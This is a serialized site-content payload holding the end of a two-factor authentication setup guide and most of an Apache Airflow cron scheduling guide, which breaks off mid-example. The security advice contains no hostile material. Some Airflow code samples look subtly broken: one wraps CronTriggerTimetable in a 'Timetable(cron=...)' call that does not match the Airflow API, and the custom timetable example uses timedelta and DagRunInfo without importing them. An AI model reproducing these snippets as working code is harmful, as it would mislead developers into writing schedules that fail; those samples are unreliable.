sync",[216,257287,36957],{},[216,257289,95806],{},[199,257291,257292,257295,257297],{},[216,257293,257294],{},"Recovery options",[216,257296,36957],{},[216,257298,95806],{},[199,257300,257301,257304,257306],{},[216,257302,257303],{},"Desktop app",[216,257305,36957],{},[216,257307,95806],{},[199,257309,257310,257313,257315],{},[216,257311,257312],{},"TOTP support",[216,257314,95806],{},[216,257316,95806],{},[33,257318,257320],{"id":257319},"setup-steps","Setup Steps",[77,257322,257323,257329,257335,257341,257347],{},[44,257324,257325,257328],{},[47,257326,257327],{},"Install Authy"," from App Store or Google Play",[44,257330,257331,257334],{},[47,257332,257333],{},"Register your phone number"," (used for backup identification)",[44,257336,257337,257340],{},[47,257338,257339],{},"Set a backup password"," (important for recovery)",[44,257342,257343,257346],{},[47,257344,257345],{},"Add accounts"," the same way as Google Authenticator (scan QR codes)",[44,257348,257349,257352],{},[47,257350,257351],{},"Enable backups"," in Settings → Backups",[33,257354,257356],{"id":257355},"important-backup-password","Important: Backup Password",[16,257358,257359,257360,257363],{},"Authy encrypts your tokens with a password. ",[47,257361,257362],{},"If you forget this password, you cannot restore your tokens."," Write it down and store it safely.",[11,257365,257367],{"id":257366},"setting-up-a-hardware-security-key-yubikey","Setting Up a Hardware Security Key (YubiKey)",[16,257369,257370],{},"For maximum security, a hardware key like YubiKey is the gold standard.",[33,257372,257374],{"id":257373},"types-of-yubikey","Types of YubiKey",[193,257376,257377,257389],{},[196,257378,257379],{},[199,257380,257381,257383,257385,257387],{},[202,257382,30474],{},[202,257384,117466],{},[202,257386,102628],{},[202,257388,102631],{},[211,257390,257391,257405,257418,257432],{},[199,257392,257393,257396,257399,257402],{},[216,257394,257395],{},"YubiKey 5 NFC",[216,257397,257398],{},"USB-A + NFC",[216,257400,257401],{},"FIDO2, U2F, OTP, Smart Card",[216,257403,257404],{},"~$45",[199,257406,257407,257410,257413,257416],{},[216,257408,257409],{},"YubiKey 5C",[216,257411,257412],{},"USB-C",[216,257414,257415],{},"Same as above, USB-C",[216,257417,257404],{},[199,257419,257420,257423,257426,257429],{},[216,257421,257422],{},"YubiKey 5C NFC",[216,257424,257425],{},"USB-C + NFC",[216,257427,257428],{},"Most versatile",[216,257430,257431],{},"~$55",[199,257433,257434,257437,257440,257443],{},[216,257435,257436],{},"Security Key by Yubico",[216,257438,257439],{},"USB-A or C",[216,257441,257442],{},"FIDO2\u002FU2F only (no OTP)",[216,257444,257445],{},"~$25",[33,257447,257449],{"id":257448},"setup-process","Setup Process",[77,257451,257452,257458,257463,257469,257475,257481],{},[44,257453,257454,257457],{},[47,257455,257456],{},"Insert the YubiKey"," into a USB port (or tap for NFC)",[44,257459,257460],{},[47,257461,257462],{},"Go to your account's security settings",[44,257464,257465,257468],{},[47,257466,257467],{},"Choose \"Security Key\" or \"Hardware Key\""," as 2FA method",[44,257470,257471,257474],{},[47,257472,257473],{},"Follow the prompts"," to register the key",[44,257476,257477,257480],{},[47,257478,257479],{},"Give it a name"," (e.g., \"My YubiKey 5\")",[44,257482,257483,257486],{},[47,257484,257485],{},"Test it"," by logging out and back in",[33,257488,257490],{"id":257489},"using-the-yubikey","Using the YubiKey",[41,257492,257493,257499,257505],{},[44,257494,257495,257498],{},[47,257496,257497],{},"For login",": Insert key, tap the gold disk when prompted",[44,257500,257501,257504],{},[47,257502,257503],{},"For NFC",": Tap the key against your phone's NFC reader",[44,257506,257507,257510],{},[47,257508,257509],{},"For mobile",": Some apps support NFC directly",[33,257512,257514],{"id":257513},"backup-keys","Backup Keys",[16,257516,257517,257520],{},[47,257518,257519],{},"Always have a backup!"," If you lose your only YubiKey, account recovery can be difficult:",[135,257522,257525],{"className":257523,"code":257524,"language":140},[138],"Primary Key:   YubiKey 5C NFC (everyday use)\nBackup Key 1:  YubiKey 5 NFC (stored in safe place)\nBackup Key 2:  Generate backup codes (print and store safely)\n",[143,257526,257524],{"__ignoreMap":141},[11,257528,257530],{"id":257529},"recovery-codes-your-safety-net","Recovery Codes: Your Safety Net",[16,257532,257533,257534,257537],{},"Almost every service that offers 2FA also provides ",[47,257535,257536],{},"recovery codes"," (also called backup codes). These are your lifeline if you lose your phone or security key.",[33,257539,257541],{"id":257540},"what-are-recovery-codes","What Are Recovery Codes?",[16,257543,257544],{},"Recovery codes are one-time use codes that bypass 2FA. They typically look like:",[135,257546,257549],{"className":257547,"code":257548,"language":140},[138],"abc12-def34-ghi56\njkl78-mno90-pqr12\nstu34-vwx56-yz012\n",[143,257550,257548],{"__ignoreMap":141},[33,257552,257554],{"id":257553},"critical-rules-for-recovery-codes","Critical Rules for Recovery Codes",[77,257556,257557,257563,257569,257575,257581],{},[44,257558,257559,257562],{},[47,257560,257561],{},"Download or screenshot them immediately"," when setting up 2FA",[44,257564,257565,257568],{},[47,257566,257567],{},"Store them in a password manager"," (like 1Password, Bitwarden)",[44,257570,257571,257574],{},[47,257572,257573],{},"Print a physical copy"," and store in a safe or locked drawer",[44,257576,257577,257580],{},[47,257578,257579],{},"Never store them in plain text"," on your computer",[44,257582,257583,257586],{},[47,257584,257585],{},"Each code can only be used once"," — cross them off as you use them",[33,257588,257590],{"id":257589},"if-you-lose-your-2fa-device","If You Lose Your 2FA Device",[135,257592,257595],{"className":257593,"code":257594,"language":140},[138],"1. Try your backup security key (if you have one)\n   ↓ (if no backup key)\n2. Use a recovery code\n   ↓ (if no recovery codes)\n3. Contact customer support (can be a long process)\n   ↓ (if support can't verify identity)\n4. Account may be permanently lost\n",[143,257596,257594],{"__ignoreMap":141},[11,257598,7383],{"id":7382},[33,257600,257602],{"id":257601},"only-enabling-sms","❌ Only Enabling SMS",[16,257604,257605],{},"SMS is better than nothing, but it's the weakest form of 2FA. Upgrade to a TOTP app or security key as soon as possible.",[33,257607,257609],{"id":257608},"not-saving-recovery-codes","❌ Not Saving Recovery Codes",[16,257611,257612,257613,257616],{},"Many users set up 2FA and immediately close the recovery codes page. ",[47,257614,257615],{},"Don't do this."," Save them first!",[33,257618,257620],{"id":257619},"losing-access-to-your-authenticator-app","❌ Losing Access to Your Authenticator App",[16,257622,257623],{},"If you get a new phone and didn't back up your TOTP app:",[41,257625,257626,257629,257632],{},[44,257627,257628],{},"Google Authenticator: Tokens are lost (unless you transferred them)",[44,257630,257631],{},"Authy: Simply log in on the new phone (if you set up backup)",[44,257633,257634],{},"1Password: Syncs with your 1Password account",[33,257636,257638],{"id":257637},"using-the-same-2fa-method-for-everything","❌ Using the Same 2FA Method for Everything",[16,257640,257641],{},"Diversify your 2FA methods:",[41,257643,257644,257649,257655],{},[44,257645,257646,257648],{},[47,257647,30719],{},": TOTP app (Google Authenticator, Authy)",[44,257650,257651,257654],{},[47,257652,257653],{},"Backup",": Hardware key (YubiKey)",[44,257656,257657,257660],{},[47,257658,257659],{},"Emergency",": Recovery codes (stored safely)",[11,257662,257664],{"id":257663},"which-accounts-should-you-protect-first","Which Accounts Should You Protect First?",[16,257666,257667],{},"Prioritize enabling 2FA on these account types:",[193,257669,257670,257681],{},[196,257671,257672],{},[199,257673,257674,257676,257679],{},[202,257675,240020],{},[202,257677,257678],{},"Account Type",[202,257680,21086],{},[211,257682,257683,257693,257703,257713,257723,257733,257743],{},[199,257684,257685,257687,257690],{},[216,257686,3585],{},[216,257688,257689],{},"Email (Gmail, Outlook, etc.)",[216,257691,257692],{},"Password resets go here",[199,257694,257695,257697,257700],{},[216,257696,10099],{},[216,257698,257699],{},"Password manager",[216,257701,257702],{},"Contains all your passwords",[199,257704,257705,257707,257710],{},[216,257706,17821],{},[216,257708,257709],{},"Financial (banking, PayPal)",[216,257711,257712],{},"Direct financial access",[199,257714,257715,257717,257720],{},[216,257716,12546],{},[216,257718,257719],{},"Social media",[216,257721,257722],{},"Identity theft risk",[199,257724,257725,257727,257730],{},[216,257726,13431],{},[216,257728,257729],{},"Cloud storage (Google Drive, iCloud)",[216,257731,257732],{},"Personal data",[199,257734,257735,257737,257740],{},[216,257736,44593],{},[216,257738,257739],{},"Work accounts",[216,257741,257742],{},"Corporate data access",[199,257744,257745,257747,257750],{},[216,257746,735],{},[216,257748,257749],{},"Shopping (Amazon, etc.)",[216,257751,257752],{},"Saved payment methods",[11,257754,208883],{"id":161627},[16,257756,257757],{},"Two-factor authentication is one of the most effective steps you can take to secure your online accounts. While no method is perfect, the combination of a strong password and TOTP-based 2FA blocks the vast majority of account takeover attacks.",[16,257759,257760],{},[47,257761,257762],{},"Recommended setup for most users:",[77,257764,257765,257770,257775],{},[44,257766,257767,257769],{},[47,257768,30719],{},": Authy or Google Authenticator (TOTP)",[44,257771,257772,257774],{},[47,257773,257653],{},": Printed recovery codes in a safe place",[44,257776,257777,257780],{},[47,257778,257779],{},"Upgrade path",": Consider a YubiKey for high-value accounts",[16,257782,257783],{},[47,257784,257785],{},"Remember:",[41,257787,257788,257791,257794],{},[44,257789,257790],{},"Recovery codes are as important as the 2FA itself",[44,257792,257793],{},"Have a backup method (don't rely on a single device)",[44,257795,257796],{},"Prioritize your most sensitive accounts first",[11,257798,257800],{"id":257799},"related-tools","Related Tools",[41,257802,257803],{},[44,257804,257805,257806],{},"Generate strong passwords with our ",[98,257807,170976],{"href":170975},{"title":141,"searchDepth":337,"depth":337,"links":257809},[257810,257811,257815,257822,257823,257830,257835,257841,257846,257852,257853,257854],{"id":256641,"depth":337,"text":2776},{"id":256650,"depth":337,"text":256651,"children":257812},[257813,257814],{"id":256716,"depth":343,"text":256717},{"id":256726,"depth":343,"text":256727},{"id":256767,"depth":337,"text":256768,"children":257816},[257817,257818,257819,257820,257821],{"id":256774,"depth":343,"text":256775},{"id":256824,"depth":343,"text":256825},{"id":256873,"depth":343,"text":256874},{"id":256922,"depth":343,"text":256923},{"id":256966,"depth":343,"text":256967},{"id":257007,"depth":337,"text":257008},{"id":257105,"depth":337,"text":257106,"children":257824},[257825,257826,257827,257828,257829],{"id":257112,"depth":343,"text":257113},{"id":257130,"depth":343,"text":257131},{"id":257163,"depth":343,"text":257164},{"id":257198,"depth":343,"text":257199},{"id":257216,"depth":343,"text":257217},{"id":257247,"depth":337,"text":257248,"children":257831},[257832,257833,257834],{"id":257254,"depth":343,"text":257255},{"id":257319,"depth":343,"text":257320},{"id":257355,"depth":343,"text":257356},{"id":257366,"depth":337,"text":257367,"children":257836},[257837,257838,257839,257840],{"id":257373,"depth":343,"text":257374},{"id":257448,"depth":343,"text":257449},{"id":257489,"depth":343,"text":257490},{"id":257513,"depth":343,"text":257514},{"id":257529,"depth":337,"text":257530,"children":257842},[257843,257844,257845],{"id":257540,"depth":343,"text":257541},{"id":257553,"depth":343,"text":257554},{"id":257589,"depth":343,"text":257590},{"id":7382,"depth":337,"text":7383,"children":257847},[257848,257849,257850,257851],{"id":257601,"depth":343,"text":257602},{"id":257608,"depth":343,"text":257609},{"id":257619,"depth":343,"text":257620},{"id":257637,"depth":343,"text":257638},{"id":257663,"depth":337,"text":257664},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"2026-05-26","Learn how 2FA works, compare authentication methods by security level, and follow step-by-step setup guides for Google Authenticator, Authy, and hardware security keys.",{"immutable":363},{"title":256636,"description":257856},"guides\u002F2fa-setup-guide","qUf7BXwH03u4cxQCL4uDDC1zCcDjZI3Xcs7UJzk4TZ8",{"id":257862,"title":257863,"body":257864,"date":257855,"description":259384,"extension":361,"meta":259385,"navigation":363,"path":259386,"readingTime":2507,"seo":259387,"stem":259388,"__hash__":259389},"guides\u002Fguides\u002Fairflow-cron-scheduling.md","Apache Airflow Cron Scheduling: Complete Configuration Guide",{"type":8,"value":257865,"toc":259342},[257866,257868,257871,257874,257878,257882,257983,257987,257993,257999,258001,258040,258044,258048,258053,258079,258125,258129,258132,258186,258190,258193,258320,258324,258328,258359,258363,258394,258398,258429,258433,258464,258468,258499,258503,258534,258538,258542,258549,258563,258618,258622,258706,258716,258746,258748,258752,258834,258838,258884,258888,258892,258901,258965,258969,258980,258984,258995,258999,259003,259045,259049,259106,259110,259140,259144,259147,259179,259181,259235,259239,259330,259332,259339],[11,257867,2776],{"id":256641},[16,257869,257870],{},"Apache Airflow uses cron expressions for scheduling DAGs (Directed Acyclic Graphs), but its scheduling semantics differ significantly from system cron. Understanding these differences is crucial to avoid common pitfalls that cause DAGs to run at unexpected times—or not at all.",[16,257872,257873],{},"This guide covers Airflow's scheduling system, how it differs from system cron, common scheduling patterns, and the traps that catch even experienced users.",[11,257875,257877],{"id":257876},"airflow-scheduling-vs-system-cron","Airflow Scheduling vs System Cron",[33,257879,257881],{"id":257880},"key-differences","Key Differences",[193,257883,257884,257896],{},[196,257885,257886],{},[199,257887,257888,257890,257893],{},[202,257889,13104],{},[202,257891,257892],{},"System Cron",[202,257894,257895],{},"Apache Airflow",[211,257897,257898,257915,257927,257939,257951,257964],{},[199,257899,257900,257905,257908],{},[216,257901,257902],{},[47,257903,257904],{},"Execution Model",[216,257906,257907],{},"Runs at the specified time",[216,257909,257910,257911,257914],{},"Runs ",[47,257912,257913],{},"after"," the scheduled period ends",[199,257916,257917,257922,257924],{},[216,257918,257919],{},[47,257920,257921],{},"start_date",[216,257923,154116],{},[216,257925,257926],{},"Determines the first scheduled period",[199,257928,257929,257934,257936],{},[216,257930,257931],{},[47,257932,257933],{},"catchup",[216,257935,154116],{},[216,257937,257938],{},"Replays missed runs by default",[199,257940,257941,257945,257948],{},[216,257942,257943],{},[47,257944,239279],{},[216,257946,257947],{},"System timezone (usually)",[216,257949,257950],{},"Per-DAG timezone support",[199,257952,257953,257958,257961],{},[216,257954,257955],{},[47,257956,257957],{},"Skip Missed",[216,257959,257960],{},"Missed jobs are lost",[216,257962,257963],{},"Can catch up or skip (catchup=True\u002FFalse)",[199,257965,257966,257971,257974],{},[216,257967,257968],{},[47,257969,257970],{},"Schedule Definition",[216,257972,257973],{},"Crontab file",[216,257975,257976,257979,257980],{},[143,257977,257978],{},"schedule_interval"," parameter or ",[143,257981,257982],{},"Timetable",[33,257984,257986],{"id":257985},"the-after-period-concept","The \"After Period\" Concept",[16,257988,257989,257990],{},"The most confusing aspect of Airflow scheduling: ",[47,257991,257992],{},"Airflow schedules a DAG run AFTER the scheduled period ends, not AT the cron time.",[135,257994,257997],{"className":257995,"code":257996,"language":140},[138],"Cron: 0 0 * * * (midnight)\nSystem cron: Runs at 00:00:00\nAirflow: Runs at 00:00:00 to process the PREVIOUS day's data\n",[143,257998,257996],{"__ignoreMap":141},[16,258000,28745],{},[135,258002,258004],{"className":8259,"code":258003,"language":8261,"meta":141,"style":141},"# This DAG's first run will be scheduled for 2024-01-02 00:00:00\n# That run processes data for 2024-01-01\ndag = DAG(\n    'daily_etl',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 0 * * *',  # Midnight\n)\n",[143,258005,258006,258011,258016,258021,258026,258031,258036],{"__ignoreMap":141},[1560,258007,258008],{"class":1562,"line":1563},[1560,258009,258010],{},"# This DAG's first run will be scheduled for 2024-01-02 00:00:00\n",[1560,258012,258013],{"class":1562,"line":337},[1560,258014,258015],{},"# That run processes data for 2024-01-01\n",[1560,258017,258018],{"class":1562,"line":343},[1560,258019,258020],{},"dag = DAG(\n",[1560,258022,258023],{"class":1562,"line":365},[1560,258024,258025],{},"    'daily_etl',\n",[1560,258027,258028],{"class":1562,"line":889},[1560,258029,258030],{},"    start_date=datetime(2024, 1, 1),\n",[1560,258032,258033],{"class":1562,"line":1710},[1560,258034,258035],{},"    schedule_interval='0 0 * * *',  # Midnight\n",[1560,258037,258038],{"class":1562,"line":1717},[1560,258039,8252],{},[11,258041,258043],{"id":258042},"schedule_interval-vs-timetable","schedule_interval vs Timetable",[33,258045,258047],{"id":258046},"schedule_interval-traditional-approach","schedule_interval (Traditional Approach)",[16,258049,421,258050,258052],{},[143,258051,257978],{}," parameter accepts:",[41,258054,258055,258061,258073],{},[44,258056,258057,258058],{},"Cron expressions as strings: ",[143,258059,258060],{},"'0 0 * * *'",[44,258062,258063,258064,1459,258067,1459,258070],{},"Presets: ",[143,258065,258066],{},"'@daily'",[143,258068,258069],{},"'@hourly'",[143,258071,258072],{},"'@weekly'",[44,258074,258075,258076],{},"timedelta objects: ",[143,258077,258078],{},"timedelta(hours=6)",[135,258080,258082],{"className":8259,"code":258081,"language":8261,"meta":141,"style":141},"from airflow import DAG\nfrom datetime import datetime, timedelta\n\ndag = DAG(\n    'example_dag',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 *\u002F6 * * *',  # Every 6 hours\n    catchup=False,\n)\n",[143,258083,258084,258089,258094,258098,258102,258107,258111,258116,258121],{"__ignoreMap":141},[1560,258085,258086],{"class":1562,"line":1563},[1560,258087,258088],{},"from airflow import DAG\n",[1560,258090,258091],{"class":1562,"line":337},[1560,258092,258093],{},"from datetime import datetime, timedelta\n",[1560,258095,258096],{"class":1562,"line":343},[1560,258097,1702],{"emptyLinePlaceholder":363},[1560,258099,258100],{"class":1562,"line":365},[1560,258101,258020],{},[1560,258103,258104],{"class":1562,"line":889},[1560,258105,258106],{},"    'example_dag',\n",[1560,258108,258109],{"class":1562,"line":1710},[1560,258110,258030],{},[1560,258112,258113],{"class":1562,"line":1717},[1560,258114,258115],{},"    schedule_interval='0 *\u002F6 * * *',  # Every 6 hours\n",[1560,258117,258118],{"class":1562,"line":1747},[1560,258119,258120],{},"    catchup=False,\n",[1560,258122,258123],{"class":1562,"line":2507},[1560,258124,8252],{},[33,258126,258128],{"id":258127},"timetable-modern-approach-airflow-22","Timetable (Modern Approach, Airflow 2.2+)",[16,258130,258131],{},"Timetables provide more control over scheduling logic, especially for complex business calendars:",[135,258133,258135],{"className":8259,"code":258134,"language":8261,"meta":141,"style":141},"from airflow.timetables.trigger import CronTriggerTimetable\n\ndag = DAG(\n    'example_dag',\n    start_date=datetime(2024, 1, 1),\n    # More explicit: runs at midnight in UTC\n    schedule=Timetable(\n        cron=CronTriggerTimetable(\"0 0 * * *\", timezone=\"UTC\"),\n    ),\n    catchup=False,\n)\n",[143,258136,258137,258142,258146,258150,258154,258158,258163,258168,258173,258178,258182],{"__ignoreMap":141},[1560,258138,258139],{"class":1562,"line":1563},[1560,258140,258141],{},"from airflow.timetables.trigger import CronTriggerTimetable\n",[1560,258143,258144],{"class":1562,"line":337},[1560,258145,1702],{"emptyLinePlaceholder":363},[1560,258147,258148],{"class":1562,"line":343},[1560,258149,258020],{},[1560,258151,258152],{"class":1562,"line":365},[1560,258153,258106],{},[1560,258155,258156],{"class":1562,"line":889},[1560,258157,258030],{},[1560,258159,258160],{"class":1562,"line":1710},[1560,258161,258162],{},"    # More explicit: runs at midnight in UTC\n",[1560,258164,258165],{"class":1562,"line":1717},[1560,258166,258167],{},"    schedule=Timetable(\n",[1560,258169,258170],{"class":1562,"line":1747},[1560,258171,258172],{},"        cron=CronTriggerTimetable(\"0 0 * * *\", timezone=\"UTC\"),\n",[1560,258174,258175],{"class":1562,"line":2507},[1560,258176,258177],{},"    ),\n",[1560,258179,258180],{"class":1562,"line":2524},[1560,258181,258120],{},[1560,258183,258184],{"class":1562,"line":2529},[1560,258185,8252],{},[33,258187,258189],{"id":258188},"custom-timetable-example","Custom Timetable Example",[16,258191,258192],{},"For business-day-only scheduling (skip weekends):",[135,258194,258196],{"className":8259,"code":258195,"language":8261,"meta":141,"style":141},"from airflow.timetables.base import Timetable\nfrom datetime import datetime\nimport pendulum\n\nclass BusinessDayTimetable(Timetable):\n    def next_dagrun_info(self, last_automated_data_interval, restriction):\n        # Calculate next business day\n        if last_automated_data_interval is None:\n            next_start = datetime(2024, 1, 1, tzinfo=pendulum.UTC)\n        else:\n            next_start = last_automated_data_interval.end + timedelta(days=1)\n            # Skip weekends\n            while next_start.weekday() >= 5:  # 5=Saturday, 6=Sunday\n                next_start += timedelta(days=1)\n        \n        return DagRunInfo(\n            run_after=next_start,\n            data_interval=(next_start, next_start + timedelta(days=1))\n        )\n\ndag = DAG(\n    'business_day_dag',\n    start_date=datetime(2024, 1, 1),\n    schedule=BusinessDayTimetable(),\n    catchup=False,\n)\n",[143,258197,258198,258203,258207,258212,258216,258221,258226,258231,258236,258241,258245,258250,258255,258260,258265,258270,258275,258280,258285,258290,258294,258298,258303,258307,258312,258316],{"__ignoreMap":141},[1560,258199,258200],{"class":1562,"line":1563},[1560,258201,258202],{},"from airflow.timetables.base import Timetable\n",[1560,258204,258205],{"class":1562,"line":337},[1560,258206,94839],{},[1560,258208,258209],{"class":1562,"line":343},[1560,258210,258211],{},"import pendulum\n",[1560,258213,258214],{"class":1562,"line":365},[1560,258215,1702],{"emptyLinePlaceholder":363},[1560,258217,258218],{"class":1562,"line":889},[1560,258219,258220],{},"class BusinessDayTimetable(Timetable):\n",[1560,258222,258223],{"class":1562,"line":1710},[1560,258224,258225],{},"    def next_dagrun_info(self, last_automated_data_interval, restriction):\n",[1560,258227,258228],{"class":1562,"line":1717},[1560,258229,258230],{},"        # Calculate next business day\n",[1560,258232,258233],{"class":1562,"line":1747},[1560,258234,258235],{},"        if last_automated_data_interval is None:\n",[1560,258237,258238],{"class":1562,"line":2507},[1560,258239,258240],{},"            next_start = datetime(2024, 1, 1, tzinfo=pendulum.UTC)\n",[1560,258242,258243],{"class":1562,"line":2524},[1560,258244,22168],{},[1560,258246,258247],{"class":1562,"line":2529},[1560,258248,258249],{},"            next_start = last_automated_data_interval.end + timedelta(days=1)\n",[1560,258251,258252],{"class":1562,"line":2534},[1560,258253,258254],{},"            # Skip weekends\n",[1560,258256,258257],{"class":1562,"line":2542},[1560,258258,258259],{},"            while next_start.weekday() >= 5:  # 5=Saturday, 6=Sunday\n",[1560,258261,258262],{"class":1562,"line":2558},[1560,258263,258264],{},"                next_start += timedelta(days=1)\n",[1560,258266,258267],{"class":1562,"line":2570},[1560,258268,258269],{},"        \n",[1560,258271,258272],{"class":1562,"line":6638},[1560,258273,258274],{},"        return DagRunInfo(\n",[1560,258276,258277],{"class":1562,"line":11615},[1560,258278,258279],{},"            run_after=next_start,\n",[1560,258281,258282],{"class":1562,"line":11621},[1560,258283,258284],{},"            data_interval=(next_start, next_start + timedelta(days=1))\n",[1560,258286,258287],{"class":1562,"line":11633},[1560,258288,258289],{},"        )\n",[1560,258291,258292],{"class":1562,"line":11638},[1560,258293,1702],{"emptyLinePlaceholder":363},[1560,258295,258296],{"class":1562,"line":11672},[1560,258297,258020],{},[1560,258299,258300],{"class":1562,"line":19435},[1560,258301,258302],{},"    'business_day_dag',\n",[1560,258304,258305],{"class":1562,"line":19442},[1560,258306,258030],{},[1560,258308,258309],{"class":1562,"line":19475},[1560,258310,258311],{},"    schedule=BusinessDayTimetable(),\n",[1560,258313,258314],{"class":1562,"line":19508},[1560,258315,258120],{},[1560,258317,258318],{"class":1562,"line":44196},[1560,258319,8252],{},[11,258321,258323],{"id":258322},"common-scheduling-patterns","Common Scheduling Patterns",[33,258325,258327],{"id":258326},"daily-at-midnight-utc","Daily at Midnight (UTC)",[135,258329,258331],{"className":8259,"code":258330,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'daily_midnight',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 0 * * *',\n    catchup=False,\n)\n",[143,258332,258333,258337,258342,258346,258351,258355],{"__ignoreMap":141},[1560,258334,258335],{"class":1562,"line":1563},[1560,258336,258020],{},[1560,258338,258339],{"class":1562,"line":337},[1560,258340,258341],{},"    'daily_midnight',\n",[1560,258343,258344],{"class":1562,"line":343},[1560,258345,258030],{},[1560,258347,258348],{"class":1562,"line":365},[1560,258349,258350],{},"    schedule_interval='0 0 * * *',\n",[1560,258352,258353],{"class":1562,"line":889},[1560,258354,258120],{},[1560,258356,258357],{"class":1562,"line":1710},[1560,258358,8252],{},[33,258360,258362],{"id":258361},"every-6-hours","Every 6 Hours",[135,258364,258366],{"className":8259,"code":258365,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'every_6_hours',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 *\u002F6 * * *',\n    catchup=False,\n)\n",[143,258367,258368,258372,258377,258381,258386,258390],{"__ignoreMap":141},[1560,258369,258370],{"class":1562,"line":1563},[1560,258371,258020],{},[1560,258373,258374],{"class":1562,"line":337},[1560,258375,258376],{},"    'every_6_hours',\n",[1560,258378,258379],{"class":1562,"line":343},[1560,258380,258030],{},[1560,258382,258383],{"class":1562,"line":365},[1560,258384,258385],{},"    schedule_interval='0 *\u002F6 * * *',\n",[1560,258387,258388],{"class":1562,"line":889},[1560,258389,258120],{},[1560,258391,258392],{"class":1562,"line":1710},[1560,258393,8252],{},[33,258395,258397],{"id":258396},"weekly-on-monday-morning","Weekly on Monday Morning",[135,258399,258401],{"className":8259,"code":258400,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'weekly_monday',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 8 * * 1',  # 8 AM every Monday\n    catchup=False,\n)\n",[143,258402,258403,258407,258412,258416,258421,258425],{"__ignoreMap":141},[1560,258404,258405],{"class":1562,"line":1563},[1560,258406,258020],{},[1560,258408,258409],{"class":1562,"line":337},[1560,258410,258411],{},"    'weekly_monday',\n",[1560,258413,258414],{"class":1562,"line":343},[1560,258415,258030],{},[1560,258417,258418],{"class":1562,"line":365},[1560,258419,258420],{},"    schedule_interval='0 8 * * 1',  # 8 AM every Monday\n",[1560,258422,258423],{"class":1562,"line":889},[1560,258424,258120],{},[1560,258426,258427],{"class":1562,"line":1710},[1560,258428,8252],{},[33,258430,258432],{"id":258431},"first-day-of-month","First Day of Month",[135,258434,258436],{"className":8259,"code":258435,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'monthly_report',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 0 1 * *',  # Midnight on the 1st\n    catchup=False,\n)\n",[143,258437,258438,258442,258447,258451,258456,258460],{"__ignoreMap":141},[1560,258439,258440],{"class":1562,"line":1563},[1560,258441,258020],{},[1560,258443,258444],{"class":1562,"line":337},[1560,258445,258446],{},"    'monthly_report',\n",[1560,258448,258449],{"class":1562,"line":343},[1560,258450,258030],{},[1560,258452,258453],{"class":1562,"line":365},[1560,258454,258455],{},"    schedule_interval='0 0 1 * *',  # Midnight on the 1st\n",[1560,258457,258458],{"class":1562,"line":889},[1560,258459,258120],{},[1560,258461,258462],{"class":1562,"line":1710},[1560,258463,8252],{},[33,258465,258467],{"id":258466},"every-15-minutes","Every 15 Minutes",[135,258469,258471],{"className":8259,"code":258470,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'frequent_check',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='*\u002F15 * * * *',\n    catchup=False,\n)\n",[143,258472,258473,258477,258482,258486,258491,258495],{"__ignoreMap":141},[1560,258474,258475],{"class":1562,"line":1563},[1560,258476,258020],{},[1560,258478,258479],{"class":1562,"line":337},[1560,258480,258481],{},"    'frequent_check',\n",[1560,258483,258484],{"class":1562,"line":343},[1560,258485,258030],{},[1560,258487,258488],{"class":1562,"line":365},[1560,258489,258490],{},"    schedule_interval='*\u002F15 * * * *',\n",[1560,258492,258493],{"class":1562,"line":889},[1560,258494,258120],{},[1560,258496,258497],{"class":1562,"line":1710},[1560,258498,8252],{},[33,258500,258502],{"id":258501},"business-hours-only-9-am-5-pm-mon-fri","Business Hours Only (9 AM - 5 PM, Mon-Fri)",[135,258504,258506],{"className":8259,"code":258505,"language":8261,"meta":141,"style":141},"dag = DAG(\n    'business_hours',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 9-17 * * 1-5',  # 9 AM to 5 PM, Mon-Fri\n    catchup=False,\n)\n",[143,258507,258508,258512,258517,258521,258526,258530],{"__ignoreMap":141},[1560,258509,258510],{"class":1562,"line":1563},[1560,258511,258020],{},[1560,258513,258514],{"class":1562,"line":337},[1560,258515,258516],{},"    'business_hours',\n",[1560,258518,258519],{"class":1562,"line":343},[1560,258520,258030],{},[1560,258522,258523],{"class":1562,"line":365},[1560,258524,258525],{},"    schedule_interval='0 9-17 * * 1-5',  # 9 AM to 5 PM, Mon-Fri\n",[1560,258527,258528],{"class":1562,"line":889},[1560,258529,258120],{},[1560,258531,258532],{"class":1562,"line":1710},[1560,258533,8252],{},[11,258535,258537],{"id":258536},"the-start_date-trap","The start_date Trap",[33,258539,258541],{"id":258540},"misconception-start_date-is-when-the-dag-starts-running","Misconception: start_date is When the DAG Starts Running",[16,258543,258544,258545,258548],{},"Many users think ",[143,258546,258547],{},"start_date=datetime(2024, 1, 1)"," means \"start running on January 1st.\"",[16,258550,258551,1663,258553,258555,258556,258559,258560,258562],{},[47,258552,242662],{},[143,258554,257921],{}," defines the beginning of the ",[47,258557,258558],{},"first scheduled period",". The DAG runs ",[47,258561,257913],{}," that period ends.",[135,258564,258566],{"className":8259,"code":258565,"language":8261,"meta":141,"style":141},"# WRONG mental model:\n# \"This runs starting January 1st at midnight\"\ndag = DAG(\n    'daily',\n    start_date=datetime(2024, 1, 1),\n    schedule_interval='0 0 * * *',\n)\n\n# CORRECT mental model:\n# \"The first scheduled period is January 1st (00:00-24:00)\"\n# \"The DAG runs at January 2nd 00:00 to process January 1st's data\"\n",[143,258567,258568,258573,258578,258582,258587,258591,258595,258599,258603,258608,258613],{"__ignoreMap":141},[1560,258569,258570],{"class":1562,"line":1563},[1560,258571,258572],{},"# WRONG mental model:\n",[1560,258574,258575],{"class":1562,"line":337},[1560,258576,258577],{},"# \"This runs starting January 1st at midnight\"\n",[1560,258579,258580],{"class":1562,"line":343},[1560,258581,258020],{},[1560,258583,258584],{"class":1562,"line":365},[1560,258585,258586],{},"    